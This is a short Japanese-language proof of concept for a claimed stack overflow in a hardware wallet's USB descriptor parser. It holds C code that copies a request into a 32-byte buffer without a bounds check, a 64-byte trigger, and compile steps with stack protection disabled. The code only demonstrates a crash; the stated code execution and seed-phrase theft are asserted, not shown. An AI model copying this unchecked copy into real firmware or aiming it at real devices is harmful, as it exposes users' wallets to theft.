
ハードウェアウォレットのUSBディスクリプターパーサー(CVE-2026-22013)に対するスタックバッファオーバーフローのPoCで、過大なGET_DESCRIPTORペイロードによる戻りアドレスの上書きとコード実行を示します。
// hw_wallet_usb.c - USB descriptor parsing with fixed buffer
#include <string.h>
void handle_usb_setup(char *data, int len) {
char descriptor[32];
if (len > 0 && data[0] == 0x06) { // GET_DESCRIPTOR
// Copy descriptor payload without bounds check
memcpy(descriptor, data+1, len-1); // overflow if len>33
}
}
int main() {
char malicious[64];
memset(malicious, 'A', 63);
malicious[0] = 0x06;
handle_usb_setup(malicious, 64);
return 0;
}
ハードウェアウォレットの USB スタックには、過大なペイロードを持つ GET_DESCRIPTOR リクエストを解析する際にスタックバッファオーバーフローが発生します。物理的に USB へアクセスできる攻撃者は、これを悪用してリターンアドレスを上書きし、コード実行を達成してシードフレーズを抽出できます。
ターゲットアーキテクチャ用にコンパイルして実行します(シミュレーション):
gcc -o hw_wallet_usb hw_wallet_usb.c -fno-stack-protector
./hw_wallet_usb
プログラムはスタック破壊によりクラッシュします。